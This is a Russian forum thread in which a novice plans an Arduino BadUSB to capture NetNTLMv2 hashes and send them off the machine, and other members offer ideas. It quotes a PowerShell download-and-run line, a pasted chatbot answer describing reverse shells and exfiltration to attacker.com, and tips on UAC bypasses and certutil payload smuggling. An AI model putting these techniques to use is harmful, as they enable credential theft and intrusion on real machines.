Подскажите библиотеку для проекта.

Тема в разделе "WASM.HEAP", создана пользователем dieMark0, 8 июл 2026.

  1. dieMark0

    dieMark0 New Member

    Публикаций:
    0
    Регистрация:
    10 дек 2025
    Сообщения:
    7
    Всем привет, недавно вошел в сферу Reverse Engineering и решил сделать свой мини проект для GitHub'a. Суть проекта заключается в том, что я хочу написать свой BadUSB используя С++ \ С \ Arduino. Есть ли какие-то библиотеки, которые могут получать доступ к хешу компьютера,его сканировать, качать или же это реализуется на более высокоуровневых ЯП?
     
  2. _edge

    _edge Well-Known Member

    Публикаций:
    1
    Регистрация:
    29 окт 2004
    Сообщения:
    690
    Адрес:
    Russia
    Правильно заданный вопрос содержит половину ответа. Что есть хэш компьютера?
     
  3. dieMark0

    dieMark0 New Member

    Публикаций:
    0
    Регистрация:
    10 дек 2025
    Сообщения:
    7
    Спасибо,что указали на ошибку в вопросе. В чем суть вопроса, я хочу чтобы моя Arduino использовала WinApi и вызывала PowerShell, который будет анализировать сетевой кеш, который я буду отправлять в течении дня, и отправлять его в каком-то виде( в каком,честно, не знаю. Может .zip или .txt или в каком-то более удобном) на указанный путь ( почта,jabber или на сервер)
     
  4. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    2.249
    Небольшой проект для github.
     
    dieMark0 нравится это.
  5. _edge

    _edge Well-Known Member

    Публикаций:
    1
    Регистрация:
    29 окт 2004
    Сообщения:
    690
    Адрес:
    Russia
    dieMark0, давайте раскручивать Вашу идею. Расскажите, что и как сейчас Вы хотите сделать, и что (это главное. должны быть готовые наработки) уже сейчас сделано. Я далек, признаться честно, от Вашей задачи, но понимаю, что она станет ГОРАЗДО проще, если ее "разжевать" (структуризировать). Неясна обязательная привязка к Гитхаб. Множество проектов вполне себе живут на жестких дисках своих создателей или на каком-нибудь безымянном сайте.

    А если у пользователя старый Windows без Powershell или запуск PS запрещен политиками безопасности?

    ОК, "на пальцах", как Вы сейчас представляете схематично Ваш проект?
     
    Последнее редактирование: 10 июл 2026
    НетРегистрации и dieMark0 нравится это.
  6. Marylin

    Marylin Active Member

    Публикаций:
    0
    Регистрация:
    17 фев 2023
    Сообщения:
    372
    в таком случае вам нужна системная служба, которая будет активна вплоть до перезагрузки.
     
    dieMark0 нравится это.
  7. dieMark0

    dieMark0 New Member

    Публикаций:
    0
    Регистрация:
    10 дек 2025
    Сообщения:
    7
    1 этап. Подготовка Ардуино для работы с PowerShell.
    На данный момент я на этом этапе. В чем заключается суть этого этапа - написать программу для Arduino , которая будет первым делом проверять поддерживает ли система, с которой я работаю,PowerShell ( major \ minor версию). Я начал узнавать, как это можно реализовать с меньшим кол-во проблем, и нашел в интернете код, который помогает проверить через CMD: { "powershell -command "$PSVersionTable.PSVersion" }.
    Почитав подробнее про Arduino, понял, что нужны Arduino с чипом - ATmega32U4, где U - является самым важным фактором этого этапа. Благодаря нему, я смогу отправлять команды процессору через библиотеку " Keyboard.h ".

    2 этап. Получение хеш-данных.
    Говорить про сетевой трафик и хеширование, врать не буду, не смогу сильно уверенно, т. к глубокого и разностороннего опыта нет. Но почитав в интернете я не пришел к конкретному выводу, как это можно сделать достаточно логично и правильнее. Пока-что для этого этапа я разбираюсь с NetNTLMv2.

    На данный момент это все,что я могу сказать по своему проекту. На данный момент я не рассматриваю моменты с отсутствием PowerShell, а тем более прав к нему от политик безопасности ( делаю упор больше на хеш составляющую ). Добавляя про ГитХаб, то это просто будет проект в портфолио, ничего большего, просто медаль на груди - интерпретируйте, как вам будет понятнее.

    P.s: Огромное спасибо всем, кто как-то дает подсказки или советы по проекту, я очень вам благодарен. В моих сообщениях иногда может отсутствовать тех.логика и ошибки в понимании той или иной системы - прошу сильно не кидаться камнями
     
  8. _edge

    _edge Well-Known Member

    Публикаций:
    1
    Регистрация:
    29 окт 2004
    Сообщения:
    690
    Адрес:
    Russia
    dieMark0, то есть Ваше устройство, будучи подключенным к usb, имитирует клавиатуру, с которой вводится условный win+r, затем указанную строку, верно? Как дальше Вы видите работу своего устройства? Или я чего-то не понимаю? Как оно сможет распознать обратную связь от ПК? Вот выплюнет cmd версию PS, и.. ? Как Ваше устройство "увидит" этот ответ? И да, UAC как обходить? Спамить "нажатием" клавиши "Y"?

    https://habr.com/ru/articles/903510/
    (купи полную подписку и почувствуй себя хакером) https://xakep.ru/2023/02/09/very-bad-usb/
    https://codeby.net/threads/soberi-sebe-badusb-ne-khuzhe-chem-rubber-ducky-ot-hak5.74984/ здесь есть перлы вроде "привет, эпилептик", моргание экраном

    В моих сообщениях тоже может отсутствовать тех. логика и ошибки в понимании той или иной системы, но BadUsb это баловство вроде 3d-принтера, вещь в себе, PoC. Как proof of concept неплохо, интересно попробовать свои силы, но чтобы вот прям похакать все компы подряд - не взлетит, имхо.

    Опять же, если Вы целитесь на современные ОС с повершеллом, что с одной стороны хорошо, потому что PS это дырища в безопасности размером с солнечную систему, то следует иметь ввиду, что Windows Defender тоже не даст скучать, и запросто распознает любую вредоносную активность вроде скачивания-и-запуска файла. Файл (exe) качать видимо придется так или иначе, потому что в командной строке возможно лишь сделать что-то примитивное, и для чего-то большего нужен полноценный exe, который в теории можно "распаковать" из скрипта, но здесь емкости поля ввода командной строки не хватит.

    Есть вариант, если Ваше BadUsb устройство будет и клавиатурой, и флешкой, на которой будет сам вредонос-стилер.

    Про противозаконность думаю, говорить, не стоит?
     
    Последнее редактирование: 11 июл 2026
    dieMark0 нравится это.
  9. dieMark0

    dieMark0 New Member

    Публикаций:
    0
    Регистрация:
    10 дек 2025
    Сообщения:
    7
    1.Говоря про эту часть только хочу сказать, что я испытываю свои навыки и хочу "изнутри" разобрать, как работает та или иная система, чтобы не оставаться на уровне программистов с курсов или скрипт-кидди, а совершенствовать свои навыки и общаться с более опытными реверсерами из этой области, и перенимать их опыт, навыки и работу над ошибками. Говоря про "Хакать всё и вся" - у меня нет розовых очков после просмотра Мистера Робота + я не стремлюсь пока-что писать какой-нибудь Пигассус, который может практически всё.


    2.Он может быть, но только в лабораторных условиях, то есть будет ограничен моим компьютеров, если бы я хотел сделать и написать противозаконное, то пошел бы на xss или куда-нибудь ещё. Всё в пределах закона и исключительно практики.


    3. Спасибо огромное, ещё раз, за материалы чуть попозже с ними ознакомлюсь.


    4. Пока-что я остановился на первом этапе своего плана, а именно: Использовать Arduino в качестве клавиатуры + получения значения. Вспоминая эту команду - { "powershell -command "$PSVersionTable.PSVersion" } я хотел сказать, что проверка будет осуществляться через If \ else, если версия 3 и выше, то функция будет срабатывать и выполнять поиск NetNTLMv2 - хешей.

    5. Да, все верно, после успешной проверки начнется проверка NetNTLMv2 - хешей и прочих хешей из которых можно получить выгоду ( точно не знаю какие, пока-что ознакамливаюсь с этой темой глубже ).
    6.Пока-что думаю над этим пунктом и как можно завернуть в обертку "успешности \ провала" функции if\else, но я думаю, что можно будет закрывать PowerShell в связи неудачной выполненной функции.
    7. Говоря про UAC. После вашего ответа начал ознакамливаться, что это и с чем это едят, но думаю, что можно будет использовать: fodhelper.exe ; eventvwr.exe .
     
    Последнее редактирование: 11 июл 2026
  10. _edge

    _edge Well-Known Member

    Публикаций:
    1
    Регистрация:
    29 окт 2004
    Сообщения:
    690
    Адрес:
    Russia
    https://habr.com/ru/articles/767996/ в продолжение. там палево лютое: Invoke-WebRequest -Uri 'http://192.168.56.251:800/badusb.bat' -OutFile 'C:\\Badusb\\badusb.bat'

    Но на самом деле (что удорожит устройство), если будет возможность на самом устройстве разместить еще и EXE, это будет на уровень выше этих поделок. Точно знаю, что можно разместить несколько виртуальных устройств (в данном случае, клавиатуру и накопитель) на одном физическом устройстве.

    А если EXE будет зашифрован, и ключ для его расшифровки (или расшифровки определенных EXE под различные задачи) будет браться с сервера, это уже "цифровое оружие" получится.

    Спустимся на землю.
    Как устройство сможет "видеть" вывод сообщений о версии PS из командной строки? Может я что-то упустил?
     
  11. dieMark0

    dieMark0 New Member

    Публикаций:
    0
    Регистрация:
    10 дек 2025
    Сообщения:
    7
    Когда мы будем использовать функцию if \ else, то в блок else заложим exit, если у нас что-то пойдет не по плану
     
  12. _edge

    _edge Well-Known Member

    Публикаций:
    1
    Регистрация:
    29 окт 2004
    Сообщения:
    690
    Адрес:
    Russia
    Обождите )

    Ваше устройство имитирует клавиатуру. При подключении к ПК оно "вводит" команды. Чем и как оно "смотрит" на экран на вывод сообщений, которые появляются в ответ на введенные им команды?

    "
    "Расскажи про BadUsb. Как оно получает обратную связь, оно ведь не может "смотреть" в экран на результат ввода своих команд в компьютер? То есть оно имитирует клавиатуру, вводит некие команды, но вывод сообщений устройство BadUsb не может видеть, верно?"
    Вы абсолютно правы: классическое устройство BadUSB работает «вслепую». Оно имитирует клавиатуру, отправляет нажатия клавиш, но напрямую видеть экран или читать текст ответов из консоли не может, так как стандартный USB-интерфейс клавиатуры передает данные только в одну сторону (от устройства к ПК).
    Тем не менее, хакеры и разработчики нашли несколько остроумных способов получать обратную связь и понимать, что происходит на атакуемом компьютере.
    1. Передача данных через светодиоды (Caps Lock, NuM Lock)
    Это самый простой способ получить физический ответ от ПК без установки дополнительных программ.
    • Как это работает: Компьютер отправляет на клавиатуру сигналы для включения/выключения светодиодов (Caps Lock, Num Lock, Scroll Lock), когда пользователь нажимает эти клавиши.
    • Принцип связи: BadUSB может отправить на ПК команду, которая проверяет выполнение условия (например, «существует ли файл?»). Если ответ «да», скрипт на ПК программно активирует Caps Lock. BadUSB считывает загоревшийся индикатор и понимает: команда выполнена успешно.
    2. Организация "Обратного шелла" (Reverse Shell)
    Вместо того чтобы пытаться принять данные на само устройство BadUSB, атакующие заставляют атакованный компьютер самостоятельно связаться с их удаленным сервером.
    • Принцип: BadUSB вводит команду (например, через PowerShell или Terminal), которая скачивает и запускает вредоносный скрипт.
    • Результат: Этот скрипт открывает скрытое сетевое соединение с сервером злоумышленника в интернете. Через этот «канал» хакер получает полный доступ к экрану, файлам и консоли ПК, а само BadUSB можно сразу извлечь.
    3. Использование DNS-туннелирования или HTTP-запросов
    Если нужно просто подтвердить успешность операции или украсть мелкие данные (пароли, токены).
    • Принцип: BadUSB копирует нужные данные в буфер обмена, а затем выполняет команду, которая кодирует эти данные и отправляет их в виде запроса на подконтрольный сайт (например, http://attacker.com).
    • DNS-вариант: Данные могут быть зашиты в поддомен DNS-запроса (например, ://attacker.com). Этот способ часто обходит строгие корпоративные брандмауэры.
    4. Комбинированные устройства (Двойной интерфейс)
    Продвинутые платы (например, на базе чипов со встроенным Wi-Fi/Bluetooth вроде ESP32-S2 или специализированные гаджеты вроде Flipper Zero / Rubber Ducky v3) действуют хитрее.
    • Принцип: Компьютер видит устройство одновременно и как клавиатуру, и как сетевую карту (или съемный диск).
    • Схема: «Клавиатурная» часть BadUSB вводит команду, которая сохраняет результат (например, список паролей) в текстовый файл на этот же виртуальный накопитель. В этот момент микроконтроллер BadUSB считывает файл из своей памяти и передает его злоумышленнику по Wi-Fi.
    "

    С NumLock интересно. Безпалевно и просто. Но ЗАЧЕМ?
    "если каталог C:/DOOM cуществует, перезагрузи компьютер, но сначала зажги Numlock, проверь, зажегся ли он, и в этом случае перезагрузи комп"

    Про reverse shell можете сразу забыть, палится всем чем можно уже четверть века.

    И отправка по e-mail без сторонних утилит не работает, если не ошибаюсь. В 2000-е можно было SMTP отправлять, используя разное Апи от Outlook вроде, но с обрастанием почты разными шифрованиями это стало делать невозможно.
     
    Последнее редактирование: 11 июл 2026
  13. Application

    Application Active Member

    Публикаций:
    1
    Регистрация:
    29 мар 2021
    Сообщения:
    380
    Здесь может помочь WebDAV.

    WebDAV (Web Distributed Authoring and Versioning) или просто DAV — набор расширений и дополнений к протоколу HTTP, поддерживающих совместную работу пользователей над редактированием файлов и управление файлами на удаленных веб-серверах. В качестве миссии рабочей группы по созданию DAV было заявлено: «разработка дополнений к протоколу HTTP, обеспечивающих свободное взаимодействие инструментов распределённой разработки веб-страниц, в соответствии с потребностями работы пользователей». Однако в процессе эксплуатации DAV нашёл себе ряд других применений, выходящих за первоначально принятые рамки коллективной работы над веб-документами. Сегодня DAV применяется в качестве сетевой файловой системы, эффективной для работы в Интернете и способной обрабатывать файлы целиком, поддерживая хорошую производительность работы в условиях окружения с высокой временной задержкой передачи информации. Кроме того, DAV широко применяется в качестве протокола для доступа через Интернет и манипулирования содержимым систем документооборота (document management system). Ещё одной важной целью DAV[1] является поддержка работы распределённых команд по разработке программного обеспечения. В качестве резюме задачу создания DAV можно указать так: на волне повсеместного использования HTTP в качестве стандартного уровня доступа к широкому кругу хранилищ информации расширить его возможности средствами записи информации (HTTP — доступ на чтение, DAV — доступ на запись).
     
    _edge нравится это.
  14. _edge

    _edge Well-Known Member

    Публикаций:
    1
    Регистрация:
    29 окт 2004
    Сообщения:
    690
    Адрес:
    Russia
    dieMark0, подброшу дровишек в Ваш костер мысли.

    Мы можем использовать notepad, отсылая ему символы для формирования файла полезной нагрузки, вместо того чтобы вызывать повершелл с магическими командами.
    В ОС могут быть запрещены вызовы PS / CMD, а Блокнот является безопасным приложением.

    Win+R, notepad, Enter, открывается окно Блокнота, в которое можно вводить кодес. Правда следует обратить внимание, что для русских версий ОС горячие клавиши будут также русифицированы (вместо Alt+F для вызова меню "Файл" нужно будет генерировать Alt+Ф). И нюанс, что если выбрана английская раскладка, то в русской винде не будут работать ни Alt+F ни Alt+Ф, засада (впрочем можно переключить раскладку, чьи клавиши переключения обычно не меняются).

    Далее, так как в Notepad могут быть только ASCII символы, прям так сразу ЕХЕ туда не спрятать. Хотя у нас есть PS, WSH или даже можно нагородить какое-нибудь извращение на BAT. Впрочем, погуглите "certutil base64" или можете покопать в эту сторону:

     
    Mikl___ нравится это.
  15. dieMark0

    dieMark0 New Member

    Публикаций:
    0
    Регистрация:
    10 дек 2025
    Сообщения:
    7
    Спасибо, что подкидываете те или иные нюансы, с последних двух ваших сообщений,честно говоря, я поплыл из-за огромного кол-во факторов и новой информации, которые надо учитывать. Я учту всю информацию, которая была написана здесь и попытаюсь из неё что-то слепить, если пойдет всё крайне туго - отложу ненадолго в ящик и возьмусь за что-то более легкое.

    Если вам не трудно, подскажите пожалуйста, где можно брать идеи для своих дальнейших проектов? Или мне все же стоит пока читать дальше учебники пока не наберусь достаточным кол-во знаний о тех или иных системах?
     
  16. _edge

    _edge Well-Known Member

    Публикаций:
    1
    Регистрация:
    29 окт 2004
    Сообщения:
    690
    Адрес:
    Russia
    dieMark0, за всех пользователей данного ресурса не скажу, но мне в качестве генератора идей подходит общение с нейросетками. Учебники читать скучно и бесполезно в плане навыков, т.к. это просто балласт, который без практического закрепления бесполезен. Так что наверное лучший путь изучения чего-либо - практический. Заодно сразу на себе примеряешь поговорку "я знаю, что ничего не знаю".

    В инете есть ресурсы вроде Хабра или https://www.reddit.com/r/ReverseEngineering/ , где можно поймать мотивацию что-то поковырять. Все уже расковырено, конечно, но тем не менее.
     
    dieMark0 нравится это.
  17. dieMark0

    dieMark0 New Member

    Публикаций:
    0
    Регистрация:
    10 дек 2025
    Сообщения:
    7
    Ок,спасибо вам огромное, ещё раз
    --- Сообщение объединено, 12 июл 2026 ---
    _edge, А проходили ли вы какие-то курсы ( бесплатные ), которые писало само комьюнити для новичков в сфере Revers Engineering'a? Из бесплатных слышал только "Введение в разработку эксплойтов" от Yashecka, но может быть есть ещё какие-то достойные?